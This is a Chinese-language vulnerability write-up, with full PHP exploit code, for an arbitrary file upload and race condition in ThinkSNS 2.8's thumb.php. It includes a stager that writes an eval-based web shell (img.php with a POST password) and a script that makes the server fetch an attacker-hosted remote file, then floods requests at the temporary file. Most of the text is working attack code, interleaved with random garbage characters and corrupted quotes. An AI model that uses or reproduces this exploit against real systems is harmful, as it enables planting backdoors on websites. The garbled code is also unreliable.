漏洞版本
7 _# L. { V& y" M1 ]$ ^$ \# t存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
7 H( t" N- I2 n! u% |漏洞文件1 U* ]' C1 B2 S' e) j
存在漏洞的文件为:thumb.php. q; z, m5 {% Y0 a6 b1 p
作者:韦鲲鹏) P7 a- R h+ w& b: w/ m C- t# c" K( @% J
1、 准备如下PHP文件并上传到服务器(自己的)。
# k3 X3 O2 [$ i) V/ d$ w- l文件内容如下:# @. ]* k7 A8 ?5 [* W8 e
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>7 @9 F8 a- Z6 R6 M+ N$ b9 {5 r$ Q
2、 计算出临时的文件名:
& _* L( w, K+ F( O/ b) i这里我们可以看文件的99行(刚刚是不是没注意呀!)。9 _$ ?1 W& X1 O* h7 ~3 ^6 S
/ h! x+ O) P( M
3、 上传临时文件。2 g2 a# T& ~9 }2 K# g
4、 访问临时文件。& u6 O/ i u( A( S5 F o
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)* [+ o- U* T4 O! i* W1 r2 s
Exploit文件内容如下:(这个我就不详细解释了): U" l+ Q" A3 U( d1 @7 P) z; x
<?php% w2 \ a! L8 J5 @9 }
error_reporting(0);
7 V$ e% a( m; ?: e4 r% E) Rset_time_limit(0);1 [2 T9 Z/ ^$ L( i" b
ini_set(“default_socket_timeout”, 5);' } }. V2 X# C" t8 D8 [
function http_send($host, $port, $headers) {# q \+ v d9 Y4 h$ n- e/ v
$fp = fsockopen($host, $port);
/ ~8 _. o+ _5 Iif (!$fp) die(‘Connection -> fail’);* K e1 o! p* M, c1 }+ m
fputs($fp, $headers);" g( a* L1 O" o2 y
return $fp;
s' M( [+ N6 a; q}( C0 F: s( z* ~4 g' K: s. ?
function http_recv($fp) {
6 O! M2 c, z' ]$ret=”";9 p! _+ @( I' A9 ?
while (!feof($fp))
4 i! `+ Z( y8 w, F/ F- `! f$ret.= fgets($fp, 1024);& z Z( k q& s* Q
fclose($fp);
, H$ _( y3 S* |9 w) `# Breturn $ret;
5 z* ^2 v1 U2 C}
4 @9 [2 f7 _( B8 R( N" }print “\n# ThinkSns Arbitrary File Upload #\n”;
, y6 J9 Q0 {, M: uprint “# Discovered by 韦鲲鹏 #\n\n”;) g- ^. y ~+ n$ `
if ($argc < 4) {
& H$ j$ X: R! Z% D' jprint “Usage: php <host> <path> <romote_url>\n”;1 R7 v O3 B- q
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
; |: k; q; J- jdie();
# |1 N \ y* J. N& i. P$ }, A}! b5 ^3 J* e& Q- o) v: e3 F
$host = $argv[1];
! _) q. s' ^. ^! \- |$ ?& P$path = $argv[2];
3 a- U- A0 s8 t$url = $argv[3];
r7 M Y# O9 Y2 f) B3 V7 x5 \* Y$i=0;" e. O. o) b7 o; E
//上传数据包" S1 Y* |$ p) O4 {
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
" ^ V1 I; O, {9 N9 m% |# ^$headers_up .= “Host: “.$host.”\r\n”;- Z- W0 G! u( r* W
$headers_up .= “Connection: close\r\n\r\n”;5 {* K& I5 f( y- D# l
echo $headers_up;$ C( }% N) y: J/ F
//临时文件访问数据包9 U3 v# L: T* W+ _
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
( L1 R4 b; N7 X+ {( E$ C$headers .= “Host: “.$host.”\r\n”;
8 @2 w/ T5 |" ?! @- ^$headers .= “Connection: close\r\n\r\n”;9 D( w" n5 ]: A9 p
echo $headers;
0 a: x- ?. i H0 owhile(++$i<10) {
7 M6 [8 s6 H3 n1 Z6 jfclose(http_send($host, 80, $headers));0 m' n: Y# }( D5 H
}) M3 o4 r5 ]. }
fclose(http_send($host, 80, $headers_up));5 Z. ?- l, Q; F1 Y( C0 r
while(++$i<50) {
- m f; d1 o0 k% W mfclose(http_send($host, 80, $headers));) @7 e2 K+ y' Z/ Z! y: k" h
}
: t1 W+ R4 V/ g) a* E4 s* a7 j$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
* H) ~ x- ^8 N6 c+ @$headers .= “Host: “.$host.”\r\n”;
' W o9 m2 r/ P0 |$headers .= “Connection: close\r\n\r\n”;! d ~2 f/ X7 M1 ^
$res=http_recv(http_send($host, 80, $headers));1 x9 n0 c2 e& k: R, y
if(preg_match(‘/200 OK/’,$res)) {' Q- m$ q( X5 y8 }# \0 u2 L# a
print “Success!\n\n”;
1 w6 K7 [: l2 k% _} else {) ~: m7 l* ?% g m
print “Fail!\n\n”;
( T% o( n h' f( @& T1 F: r}) r- x1 F( t& Z/ J
?>! U& _! M2 F \/ e
|